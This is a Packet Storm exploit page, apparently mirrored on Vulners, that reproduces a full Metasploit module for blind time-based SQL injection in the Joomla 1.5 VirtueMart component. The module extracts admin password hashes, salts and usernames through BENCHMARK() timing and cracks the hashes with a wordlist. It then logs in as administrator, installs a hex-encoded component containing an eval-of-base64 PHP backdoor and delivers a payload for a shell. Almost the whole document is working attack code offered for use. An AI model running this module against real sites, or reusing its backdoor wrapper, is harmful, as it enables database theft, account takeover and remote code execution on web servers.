Lucene search
K

Joomla 1.5 VirtueMart 1.1.7 Blind SQL Injection

🗓️ 29 Jul 2011 00:00:00Reported by mr_meType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

Joomla 1.5 VirtueMart Component Blind SQL Injection, Unauthenticated time-based blind SQL injection in the "page" variable of the virtuemart component. Vulnerability allows attacker to gain database information with specially crafted URLs using MySQL benchmark

Code
`# Exploit Title: Joomla 1.5 com_virtuemart <= 1.1.7 blind time-based sql injection MSF module  
# Date: Thu Jul 28, 2011  
# Author: TecR0c - tecr0c.mythsec [@] gmail.com  
# Version: <= 1.1.7  
# Download: http://dev.virtuemart.net/projects/virtuemart/files  
# Greetz: mythsec team, James Bercega for code base for sqli blind  
  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Joomla 1.5 VirtueMart Component <= 1.1.7 Blind SQL Injection',  
'Description' => %q{  
A vulnerability was discovered by Rocco Calvi and Steve Seeley which identifies  
unauthenticated time-based blind SQL injection in the "page" variable of the  
virtuemart component. This vulnerability allows an attacker to gain information  
from the database with specially crafted URLs taking advantage of the MySQL  
benchmark. This issue was patched in version 1.1.7a.  
},  
'Author' =>  
[  
'TecR0c', #Initial discovery, msf module  
'mr_me', #Initial discovery with TecR0c  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/17132/' ],  
[ 'URL','http://www.stratsec.net/Research/Advisories/' ],  
],  
'Privileged' => false,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Feb 11 2011',  
'DefaultTarget' => 0 ))  
  
register_options(  
[  
OptString.new('JDIR', [true, 'Joomla directory', '/']),  
OptInt.new('BMCT', [true, 'Benchmark Counter', 50000000 ]),  
OptInt.new('BMDF', [true, 'Benchmark Difference', 3 ]),  
OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]),  
OptString.new('WLIST', [true,  
'Wordlist location',  
'/home/foo/bar.txt'  
]),  
OptString.new('AGNT', [false, 'User Agent Info', 'Mozilla/5.0' ]),  
OptString.new('PREF', [false, 'Database prefixt', 'jos_' ]),  
OptString.new('JQRY', [false,  
'URI to trigger bug',  
'index.php?option=com_virtuemart&page=1'  
])  
], self.class)  
end  
#################################################  
# Extract "Set-Cookie"  
def init_cookie(data, cstr = true)  
  
# Raw request? Or cookie data specifically?  
data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data  
  
# Beginning  
if ( data )  
  
# Break them apart  
data = data.split(', ')  
  
# Initialize  
ctmp = ''  
tmps = {}  
  
# Parse cookies  
data.each do | x |  
  
# Remove extra data  
x = x.split(';')[0]  
  
# Seperate cookie pairs  
if ( x =~ /([^;\s]+)=([^;\s]+)/im )  
  
# Key  
k = $1  
  
# Val  
v = $2  
  
# Valid cookie value?  
if ( v.length() > 0 )  
  
# Build cookie hash  
tmps[k] = v  
  
# Report cookie status  
print_status("Got Cookie: #{k} => #{v}");  
end  
end  
end  
  
# Build string data  
if ( cstr == true )  
  
# Loop  
tmps.each do |x,y|  
  
# Cookie key/value  
ctmp << "#{x}=#{y};"  
end  
  
# Assign  
tmps['cstr'] = ctmp  
end  
  
# Return  
return tmps  
else  
# Something may be wrong  
init_debug("No cookies within the given response")  
end  
end  
  
#################################################  
  
# Simple debugging output  
def init_debug(resp, exit = 0)  
  
# Continue execution  
if ( exit.to_i > 0 )  
  
# Exit  
exit(0)  
end  
  
end  
  
#################################################  
  
# Generic post wrapper  
def http_post(url, data, headers = {}, timeout = 15)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'  
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?  
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Content-Type  
headers['Content-Type'] = headers['Content-Type'] ?  
headers['Content-Type'] : "application/x-www-form-urlencoded"  
  
# Determine Content-Length  
headers['Content-Length'] = data.length  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?  
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value  
if ( !hval )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Send request  
resp = send_request_raw(  
{  
'uri' => datastore['JDIR'] + url,  
'method' => 'POST',  
'data' => data,  
'headers' => headers  
},  
timeout )  
  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
# Generic post multipart wrapper  
def http_post_multipart(url, data, headers = {}, timeout = 15)  
  
# Boundary string  
bndr = Rex::Text.rand_text_alphanumeric(8)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'  
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?  
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Content-Type  
headers['Content-Type'] = headers['Content-Type'] ?  
headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?  
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value  
if ( !hval )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Init  
temp = ''  
  
# Parse form values  
data.each do |name, value|  
  
# Hash means file data  
if ( value.is_a?(Hash) )  
  
# Validate form fields  
filename = value['filename'] ? value['filename']:  
init_debug("Filename value missing from #{name}", 1)  
contents = value['contents'] ? value['contents']:  
init_debug("Contents value missing from #{name}", 1)  
mimetype = value['mimetype'] ? value['mimetype']:  
init_debug("Mimetype value missing from #{name}", 1)  
encoding = value['encoding'] ? value['encoding']: "Binary"  
  
# Build multipart data  
temp << "--#{bndr}\r\n"  
temp << "Content-Disposition: form-data; name=\"#{name}\"  
; filename=\"#{filename}\"\r\n"  
temp << "Content-Type: #{mimetype}\r\n"  
temp << "Content-Transfer-Encoding: #{encoding}\r\n"  
temp << "\r\n"  
temp << "#{contents}\r\n"  
  
else  
# Build multipart data  
temp << "--#{bndr}\r\n"  
temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"  
temp << "\r\n"  
temp << "#{value}\r\n"  
end  
end  
  
# Complete the form data  
temp << "--#{bndr}--\r\n"  
  
# Assigned  
data = temp  
  
# Determine Content-Length  
headers['Content-Length'] = data.length  
  
# Send request  
resp = send_request_raw(  
{  
'uri' => datastore['JDIR'] + url,  
'method' => 'POST',  
'data' => data,  
'headers' => headers  
},  
timeout)  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
# Generic get wrapper  
def http_get(url, headers = {}, timeout = 15)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'  
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?  
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?  
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value // Also, remove post specific data, due to a bug ...  
if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
  
# Send request  
resp = send_request_raw({  
'uri' => datastore['JDIR'] + url,  
'headers' => headers,  
'method' => 'GET',  
}, timeout)  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
  
# Used to perform benchmark querys  
def sql_benchmark(test, hdrs, table = nil, where = '1+LIMIT+1', tnum = nil )  
  
# Init  
wait = 0  
  
# Defaults  
table = table ? table: 'users'  
  
# SQL Injection string used to trigger the MySQL BECNHMARK() function  
sqli = ("'+UNION+SELECT+IF(#{test},+BENCHMARK(#{datastore['BMCT']},\  
+MD5(1)),+0)+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}--+sqli.page")  
  
# Number of tests to run. We run this  
# amount of tests and then look for a  
# median value that is greater than  
# the benchmark difference.  
tnum = tnum ? tnum: datastore['BMRC']  
  
# Run the tests  
tnum.to_i.times do | i |  
  
# Start time  
bmc1 = Time.now.to_i  
  
# Make the request  
  
  
init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))  
# End time  
bmc2 = Time.now.to_i  
  
  
# Total time  
wait += bmc2 - bmc1  
end  
  
# Return the results  
return ( wait.to_i / tnum.to_i )  
  
end  
  
  
#################################################  
  
  
# Used to perform benchmark querys  
def sql_benchmark_2(hdrs, columns = nil, table = nil, where = '1+LIMIT+1', tnum = nil )  
  
# Init  
wait = 0  
  
# Defaults  
table = table ? table: 'users'  
  
# SQL Injection string used to trigger the MySQL BECNHMARK() function  
sqli = (  
"'+UNION+SELECT+IF(substring((select+#{columns}+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}),1,1),BENCHMARK(#{datastore['BMCT']},+MD5(1)),+0)--+sqli.page")  
  
# Number of tests to run. We run this  
# amount of tests and then look for a  
# median value that is greater than  
# the benchmark difference.  
tnum = tnum ? tnum: datastore['BMRC']  
  
# Run the tests  
tnum.to_i.times do | i |  
  
# Start time  
bmc1 = Time.now.to_i  
  
# Make the request  
  
  
init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))  
# End time  
bmc2 = Time.now.to_i  
  
  
# Total time  
wait += bmc2 - bmc1  
end  
  
# Return the results  
return ( wait.to_i / tnum.to_i )  
  
end  
  
  
#################################################  
  
  
def get_password(hash, salt, opts = nil)  
  
# Wordlist  
wlst = datastore['WLIST']  
  
# Init  
cntr = 0  
  
# Verbose  
print_status("Attempting to crack admin password hash")  
  
# Valid hash length only  
if ( hash.length != 32 )  
  
# Failure  
print_error("Invalid Joomla MD5 hash: #{hash.to_s}")  
return nil  
end  
  
# Does the wordlist exist?  
if ( !File.exist?(wlst) )  
  
# Failure  
print_error("Unable to load wordlist: #{wlst}")  
return nil  
else  
  
# Load the wordlist file  
list = File.readlines(wlst)  
end  
  
# Verbose  
print_status("Loaded #{list.count.to_s} words from the specified list")  
print_status("This may take quite some time ...")  
  
# Start time  
bmc1 = Time.now.to_i  
  
# Loop through list  
list.each do | word |  
  
# Cleanup  
word = word.strip  
  
# Counter  
cntr = cntr + 1  
  
# Attempt to find the plaintext password  
if ( hash == Rex::Text.md5(word + salt) )  
  
# Success!  
print_status("Successfully cracked the following hash")  
print_status("#{hash} => #{salt} == #{word}")  
  
# Ended time  
bmc2 = Time.now.to_i  
  
# Duration  
bmc3 = bmc2 - bmc1  
bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"  
  
# Verbose  
print_status("Operation completed in #{bmc3}")  
  
# Return  
return word  
end # if  
end # each  
  
# Failure  
print_error("Unable to crack the following hash")  
print_error("#{hash} => #{salt} == ???")  
  
# Ended time  
bmc2 = Time.now.to_i  
  
# Duration  
bmc3 = bmc2 - bmc1  
bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"  
  
# Verbose  
print_status("Operation completed in #{bmc3}")  
  
# Return  
return nil  
end  
  
#################################################  
  
def get_users_data(hdrs, snum, slim, cset, sqlf, sqlw)  
  
# Start time  
tot1 = Time.now.to_i  
  
# Initialize  
reqc = 0  
retn = String.new  
  
# Extract salt  
for i in snum..slim  
  
# Offset position  
oset = ( i - snum ) + 1  
  
# Loop charset  
for cbit in cset  
  
# Test character  
cbit.each do | cchr |  
  
# Start time (overall)  
bmc1 = Time.now.to_i  
  
# Benchmark query  
bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1)+LIKE+BINARY+CHAR(#{cchr.ord})",  
hdrs,"users", sqlw, datastore['BMRC'])  
  
# Noticable delay? We must have a match! ;)  
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )  
  
# Verbose  
print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))  
  
# Append chr  
retn << cchr  
  
# Exit loop  
break  
end  
  
# Counter  
reqc += 1  
  
end # each  
end # for  
  
# Host not vulnerable?  
if ( oset != retn.length )  
  
# Failure  
print_error("Unable to extract character ##{oset.to_s}\  
. Extraction failed!")  
return nil  
end  
end # for  
  
# End time (total)  
tot2 = Time.now.to_i  
  
# Benchmark totals  
tot3 = tot2 - tot1  
  
# Verbose  
print_status("Found data: #{retn}")  
print_status("Operation required #{reqc.to_s} requests (#{( tot3 / 60).to_s} minutes)")  
  
# Return  
return retn  
end  
  
#################################################  
  
def check  
  
print_status("Attempting to determine virtuemart version")  
  
resp = http_get("modules/mod_virtuemart_currencies/mod_virtuemart_currencies.xml")  
  
# Extract Joomla version information  
if ( resp.body =~ /<version>([^\s]+)<\/version>/ )  
  
# Version  
vers = $1.strip  
  
# Version "parts"  
ver1, ver2, ver3 = vers.split(/\./)  
  
# Only if version 1.1.7  
if ( ver3.to_i >= 7)  
  
# Exploit failed  
init_debug(resp)  
print_status("Please confirm manually")  
return Exploit::CheckCode::Safe  
else  
  
print_status("The target is running VirtueMart : #{vers}")  
return Exploit::CheckCode::Vulnerable  
end  
else  
  
# Verbose  
print_error("Unable to determine Joomla version ...")  
end  
  
end  
  
#################################################  
def exploit  
  
# Numeric test string  
tstr = Time.now.to_i.to_s  
  
# MD5 test string  
tmd5 = Rex::Text.md5(tstr)  
  
# Encoded payload  
load = payload.encoded  
  
#################################################  
# STEP 02 // Get the cookie for virtuemart :)  
#################################################  
  
# request to get virtuemart cookie  
resp = http_get("index.php?option=com_virtuemart&page=1")  
  
# Init cookie  
cook = init_cookie(resp)  
  
# Build headers for authenticated session  
hdrs = { "Cookie" => cook['cstr'] }  
  
#################################################  
# STEP 03 // Calculate BENCHMARK() response times  
#################################################  
  
# Verbose  
print_status("Calculating target response times")  
print_status("Benchmarking #{datastore['BMRC']} normal requests")  
  
  
# Normal request median (globally accessible)  
datastore['BMC0'] = sql_benchmark("1=2", hdrs)  
  
# Verbose  
print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")  
print_status("Benchmarking #{datastore['BMRC']} delayed requests")  
  
# Delayed request median  
bmc1 = sql_benchmark("1=1", hdrs)  
  
# Verbose  
print_status("Delayed request avg: #{bmc1.to_s} seconds")  
  
# Benchmark totals  
bmct = bmc1 - datastore['BMC0']  
  
# Delay too small. The host may not be  
# vulnerable. Try increasing the BMCT.  
if ( bmct.to_i < datastore['BMDF'].to_i )  
  
# Verbose  
print_error("your benchmark threshold is small, or host is not vulnerable")  
print_error("increase the benchmark threshold adjust the value of the BMDF")  
print_error("increase the expression iterator adjust the value of the BMCT")  
return  
else  
# Host appears exploitable  
print_status("Request Difference: #{bmct.to_s} seconds")  
end  
  
#################################################  
# STEP 04 // Attempting to find a valid admin id  
#################################################  
  
atot = 0 # Total admins  
scnt = 0 # Step counter  
step = 10 # Step increment  
slim = 10000 # Step limit  
  
# 42 is the hard coded base uid within Joomla ...  
# ... and the answer to the ultimate question! ;]  
snum = ( !defined?(auid) ) ? 62: auid # changed from 42 to 62  
  
# Verbose  
print_status("Calculating total number of administrators")  
  
# Check how many admin accounts are in the database  
for i in 0..slim do  
  
# Benchmark  
bmcv = sql_benchmark_2(hdrs, "gid", "users", "gid=25+LIMIT+#{i.to_s},1",datastore['BMRC'])  
  
# If we do not have a delay, then we have reached the end ...  
if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) )  
  
# Range  
atot = i  
  
# Verbose  
print_status("Successfully confirmed #{atot.to_s} admin accounts")  
  
# Exit loop  
break  
end  
end  
  
# Loops until limit  
while ( snum < slim && scnt < atot )  
  
# Verbose  
print_status("Attempting to find a valid admin ID")  
  
# Verbose  
print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}")  
  
for i in snum.step(slim, step)  
bmcv = 0  
  
  
# Benchmark  
bmcv = sql_benchmark("#{i}+>+id", hdrs, "users","gid=25+LIMIT+#{scnt.to_s},1", datastore['BMRC'])  
  
# Noticable delay? We must have a match! ;)  
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )  
  
# Range  
itmp = i  
  
# Exit loop  
break  
else  
  
# Out of time ..  
if ( i == slim )  
  
# Failure  
print_error("Unable to find a valid user id. Exploit failed!")  
return  
end  
  
end  
end  
  
# Jump back by #{step} and increment by one  
for i in ( snum ).upto(( itmp ))  
bmcv = 0  
auid = 0  
  
  
# Benchmark  
bmcv = sql_benchmark("id+=+#{i}", hdrs, "users", "gid=25",  
datastore['BMRC'])  
  
# Noticable delay? We must have a match! ;)  
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )  
  
# UserID - first time auid gets set to 62  
auid = i  
  
# Verbose  
print_status("Found a valid admin account uid : #{auid.to_s}")  
  
# Step Counter  
scnt += 1  
  
# Exit loop  
break  
else  
  
# Out of time ..  
if ( i == ( itmp + step ) )  
  
# Failure  
print_error("Unable to find a valid user id. Exploit failed!")  
return  
end  
end  
end  
  
#################################################  
# These are the charsets used for the enumeration  
# operations and can be easily expanded if needed  
#################################################  
  
# Hash charset a-f0-9  
hdic = [ ('a'..'f'), ('0'..'9') ]  
  
# Salt charset a-zA-Z0-9  
sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]  
  
# Username charset  
udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]  
  
#################################################  
# STEP 05 // Attempt to extract admin pass hash  
#################################################  
  
# Verbose  
print_status("Attempting to gather admin password hash")  
  
# Get pass hash - changed bs  
if ( auid != 0 && !( hash = get_users_data(  
hdrs, # Pass cookie value  
1, # Length Start  
32, # Length Maximum  
hdic, # Charset Array  
"password", # SQL Field name  
"id=#{auid.to_s}" # SQL Where data  
) ) )  
  
# Failure  
print_error("Unable to gather admin pass hash. Exploit failed!!")  
return  
end  
#################################################  
# STEP 06 // Attempt to extract admin pass salt  
#################################################  
  
# Verbose  
print_status("Attempting to gather admin password salt")  
  
# Get pass salt - changed bs  
if ( auid != 0 && !( salt = get_users_data(  
hdrs, # Pass cookie value  
34, # Length Start  
65, # Length Maximum  
sdic, # Charset Array  
"password", # SQL Field name  
"id=#{auid.to_s}" # SQL Where data  
) ) )  
  
# Failure  
print_error("Unable to gather admin pass salt. Exploit failed!!")  
return  
end  
  
#################################################  
# STEP 07 // Attempt to crack the extracted hash  
#################################################  
  
# Attempt to crack password hash - changed bs  
if ( auid != 0 )  
pass = get_password(hash, salt)  
end  
  
# Got pass? - changed bs  
if ( auid != 0 && pass )  
  
#################################################  
# STEP 08 // Attempt to extract admin username  
#################################################  
  
# Verbose  
print_status("Attempting to determine target username length")  
  
# Hard limit is 150  
for i in 1.upto(150)  
  
# Benchmark  
bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", hdrs,  
"users", "id=#{auid.to_s}", datastore['BMRC'])  
  
# Noticable delay? We must have a match! ;)  
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )  
  
# Length  
ulen = i  
  
# Verbose  
print_status("The username is #{i.to_s} characters long")  
  
# Exit loop  
break  
end  
end  
  
# Verbose  
print_status('Gathering admin username')  
  
# Get pass salt  
if ( !( user = get_users_data(  
hdrs, # Pass cookie value  
1, # Length Start  
ulen, # Length Maximum  
udic, # Charset Array  
"username", # SQL Field name  
"id=#{auid.to_s}" # SQL Where data  
) ) )  
  
# Failure  
print_error("Unable to gather admin user name. Exploit failed!!")  
return  
end  
  
# Verbose  
print_status("Attempting to extract a valid request token")  
  
# Request a valid token  
resp = http_get("administrator/index.php")  
  
# Extract token  
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )  
  
# Token  
rtok = $1  
  
# Verbose  
print_status("Got token: #{rtok}")  
else  
  
# Failure  
print_error("Unable to extract request token. Exploit failed!")  
init_debug(resp)  
return  
end  
  
# Init cookie  
cook = init_cookie(resp)  
  
# Build headers for authenticated session  
hdrs = { "Cookie" => cook['cstr'] }  
  
#################################################  
# STEP 09 // Attempt to authenticate as the admin  
#################################################  
  
# Verbose  
print_status("Attempting to login as: #{user}")  
  
# Post data for login request  
post = "username=#{user}&passwd=#{pass}\  
〈=&option=com_login&task=login&#{rtok}=1"  
  
# Login request  
resp = http_post("administrator/index.php", post, hdrs)  
  
# Authentication successful???  
if ( resp && resp.code == 303 )  
  
# Success  
print_status("Successfully logged in as: #{user}")  
else  
  
# Failure  
print_error("Unable to authenticate. Exploit failed!")  
init_debug(resp)  
return  
end   
  
#################################################  
# STEP 10 // Upload wrapper and execute payload!  
#################################################  
  
# Verbose  
print_status("Attempting to extract refreshed request token")  
  
# Request a valid token (again)  
resp = http_get("administrator/index.php?option=com_installer",hdrs)  
  
# Extract token  
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )  
  
# Token  
rtok = $1  
  
# Verbose  
print_status("Got token: #{rtok}")  
else  
  
# Failure  
print_error("Unable to extract request token. Exploit failed!")  
init_debug(resp.body)  
return  
end  
  
# Component specific data  
cstr = "joomla"  
czip = "com_#{cstr}.zip"  
curi = "components/com_#{cstr}/#{cstr}.php"  
  
#################################################  
# Our Joomla specific PHP payload wrapper that is  
# used to have more flexibility when delivering a  
# selected payload to a target. The wrapper is in  
# the Joomla! 1.6 compononent format and can also  
# be used with other Joomla exploits.  
#################################################  
#  
# Type: Joomla 1.6 Component  
# File: com_joomla/joomla.xml <-- installer file  
# com_joomla/joomla.php <-- component file  
#  
# Data: <?php  
# # Modify settings  
# error_reporting(0);  
# ini_set('max_execution_time', 0);  
#  
# # Execute the selected payload, and delete the wrapper  
# @eval(base64_decode(file_get_contents('php://input')));  
# ?>  
#################################################  
  
# Hex encoded component zip data  
wrap = "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00"  
wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F"  
wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00"  
wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF"  
wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C"  
wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68"  
wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74"  
wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F"  
wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73"  
wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F"  
wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A"  
wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65"  
wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A"  
wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63"  
wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E"  
wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70"  
wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A"  
wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00"  
wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F"  
wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F"  
wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30"  
wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D"  
wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E"  
wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74"  
wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30"  
wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61"  
wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E"  
wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73"  
wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C"  
wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E"  
wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F"  
wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20"  
wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E"  
wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D"  
wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61"  
wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69"  
wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00"  
wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"  
wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B"  
wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03"  
wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00"  
wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F"  
wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68"  
wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A"  
wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00"  
wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63"  
wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61"  
wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00"  
wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00"  
  
# Verbose  
print_status("Attempting to upload payload wrapper component")  
  
# Post data  
data = {  
  
# Component data  
'install_package' =>  
{  
'filename' => czip,  
'contents' => wrap,  
'mimetype' => 'application/zip',  
'encoding' => 'binary',  
},  
  
# Required install params  
"installtype" => "upload",  
"task" => "install.install",  
"#{rtok}" => "1",  
}  
  
# Upload the wrapper component  
init_debug(http_post_multipart("administrator/index.php?option=\  
com_installer&view=install", data, hdrs))  
  
# Deliver the selected payload to the target  
init_debug(http_post(curi, Rex::Text.encode_base64(load)))  
  
# Shell  
handler  
return  
else  
  
# Verbose  
print_error("Failed to crack hash. Searching for new admin account ...")  
end # if  
snum += 1  
end # while  
  
# Verbose  
print_error("Unable to crack any admin hashes. Try a better wordlist?")  
return  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation